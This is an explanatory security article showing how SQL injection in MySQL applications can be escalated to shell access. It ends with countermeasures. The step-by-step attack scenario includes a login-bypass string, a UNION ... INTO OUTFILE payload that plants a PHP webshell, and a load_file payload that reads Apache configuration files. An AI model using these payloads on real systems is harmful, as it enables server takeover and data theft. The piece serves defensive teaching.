MySQL Database is a great product used by thousands of websites. Various web applications use MySQL as their default database. Some of these applications are written with security in mind, and some are not. In this article, I would like to show you how SQL injection can be exploited to gain almost full control over your web server.
I originally published this article in 2008 on the GreenSQL website.
Most people know that SQL injection allows attackers to retrieve database records, pass login screens, and change database content, through the creation of new administrative users. MySQL does not have a built-in command to execute shell commands, as Microsoft SQL Server does. Nonetheless, I will show you how SQL injection can allow anyone to run arbitrary commands using standard features provided by MySQL.
First of all, I will give you a brief description of SQL injection. Then I will present you with a couple of less-known methods that exist in MySQL, which I will use to open a backdoor to a webserver. I will use 2 built-in MySQL commands – one that writes arbitrary files and one that can be used to read arbitrary files. After that, I will describe webshells and the attack itself.
What is SQL Injection?
SQL injection is an attack that allows the attacker to add logical expressions and additional commands to an existing SQL query. This attack can succeed whenever a user submits data that is not properly validated by an application if the data is glued together with a legitimate SQL query.
For example, the following SQL command is used to validate user login requests:
$sql_query = "select * from users where user='$user' and password='$pass'"
If the user-submitted data is not properly validated, an attacker can exploit this query and pass through the login screen by simply submitting specially crafted variables. For example, an attacker can submit the following data as the $user variable: admin’ or ‘1’=’1′. When this value is substituted for the $user variable in the query, it will look as follows:
$sql_query = "select * from users where user='admin' or '1'='1' and password='$pass'"
Now, the attacker can safely pass through the login screen because the phrase or ‘1’=’1′ causes the query to always return a “true” value while ignoring the password value.
Using similar techniques, an attacker can also retrieve database records and change database contents, for example by creating new administrative users. In this document, I will show how, by applying similar techniques, arbitrary shell commands can be executed.
Command 1- Writing arbitrary files
MySQL has a built-in command that can be used to create and write system files. This command has the following format:
mysql> select "text" INTO OUTFILE "file.txt"
One big drawback of this command is that it can be appended to an existing query using the UNION SQL token.
For example, it can be appended to the following query:
select user, password from user where user="admin" and password='123'
The resulting query is:
select user, password from user where user="admin" and password="123" union select "text",2 into outfile "/tmp/file.txt" -- '
As a result of the above command, the /tmp/file.txt file will be created including the query result.
Command 2- Reading arbitrary files
MySQL has a built-in command that can be used to read arbitrary files. The syntax is very simple. We will use this command for plan B.
mysql> select load_file("PATH_TO_FILE");
Webshell
Webshell is a popular and widely used tool for executing shell commands from within the web browser. Some call these tools PHP shells. We will create a very simple webshell that will execute shell commands. Here is the code of a very basic PHP shell (parameter passed by cmd will be executed):
<? system($_REQUEST['cmd']); ?>
For example, in the following screenshot, id command is executed.
Attack Scenario
1. Find SQL injection
It is out of the scope of this document. You must first find SQL injection.
2. Find a directory with write permission
To create a webshell PHP script, we need a directory with write permission turned on. Temporary directories used by popular Content Management Systems are a good choice for this. Check the following URLs to find one:
- hxxp://www.target.com/templates_compiled/
- hxxp://www.target.com/templates_c/
- hxxp://www.target.com/templates/
- hxxp://www.target.com/temporary/
- hxxp://www.target.com/images/
- hxxp://www.target.com/cache/
- hxxp://www.target.com/temp/
- hxxp://www.target.com/files/
In our example, we will use a temp directory.
3. Exploit SQL injection – create web shell
You need to append the following string to the legitimate SQL command:
UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" -- 1
Some explanation:
- 2,3,4 are just a qualifier that used to make the same number of columns as in the first part of the select query.
- /var/www/html is a default web directory in the RedHat-like distributions (Fedora, CentOS).
- temp is a directory with full write access. In your case, it could be a different directory.
The above command will write the query’s result with the”<? system($_REQUEST[‘cmd’]); ?>” string appended. Because we added a PHPs extension to the file name, this string will be treated as a PHP command and will allow shell commands to be executed!
4. Finally, execute shell commands
Now comes the easiest part — simply opening the webserver to execute shell commands. In our example it will be:
hxxp://www.target.com/temp/c.php?cmd=SHELL_COMMAND
For example:
hxxp://www.target.com/temp/c.php?cmd=id
Plan B
In case you failed to create a PHP file due to a wrong path, there are a number of workarounds:
1. Generate PHP errors.
A situation is created which causes a PHP script to fail so that the full disk path is printed in the error message. Playing with page parameters can make this happen.
2. Find the file that will print phpinfo().
In some cases the attacker is lucky and will cause a phpinfo() function to be executed. This function prints a wealth of PHP internal information including the current directory location – for instance by trying to access the following urls:
- hxxp://www.target.com/phpinfo.php
- hxxp://www.target.com/test.php
- hxxp://www.target.com/info.php
3. Look for a default web directory location.
A default web directory location for the web server is needed. The following page has a long list of default Apache configurations that are used in different distributions.
http://wiki.apache.org/httpd/DistrosDefaultLayout
4. Read the Apache configuration files.
MySQL has a built-in command that allows the attacker to read arbitrary files. This command can be exploited to read Apache configuration files and study directory structures by simply using the load_file() MySQL function.
For example (SQL query after injection):
select user, password from user where user="admin123" and password="123&" UNION select load_file("/etc/apache2/apache2.conf"), 2 -- '
Note: the location of Apache configurations can be found at this resource:
http://wiki.apache.org/httpd/DistrosDefaultLayout
Limitations
In order to allow the above to work, the MySQL user used by this application must have FILE permission. For example, by default, a “root” user has this permission on. FILE is an administrative privilege that can only be granted globally (using ON *.* syntax).
For example, if the MySQL user was created using the following command, the user will have this FILE permission on.
GRANT ALL PERMISSIONS to *.* to 'USER_NAME'@'HOST_NAME' IDENTIFIED BY 'PASSWORD'
Countermeasures
1. Install the GreenSQL database firewall. I do not support this project anymore and it is not maintained.
GreenSQL is an open-source database firewall that can automatically block the commands load_file and INTO OUTFILE described above. By default, GreenSQL blocks administrative and sensitive SQL commands. In addition, GreenSQL prevents SQL injections by calculating the risk of each query and blocking queries with high risk. For example, the UNION token and SQL comments are taken into account.
2. Do not use MySQL root user to access the database.
Do not use administrative users to access the database. It is recommended that you create a distinct user with hardened permissions to access specific databases.
3. Revoke FILE permission from the MySQL user used in your applications.
mysql> REVOKE FILE ON *.* from 'USER_NAME'@'HOST_NAME';
4. Application code review.
Ensure that your application does not have any SQL injections and that the code is updated.
Links
1. MySQL Injection Cheat Sheet
http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
2. SQL Injection Cheat Sheet
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
3. MySQL Documentation
http://dev.mysql.com/doc/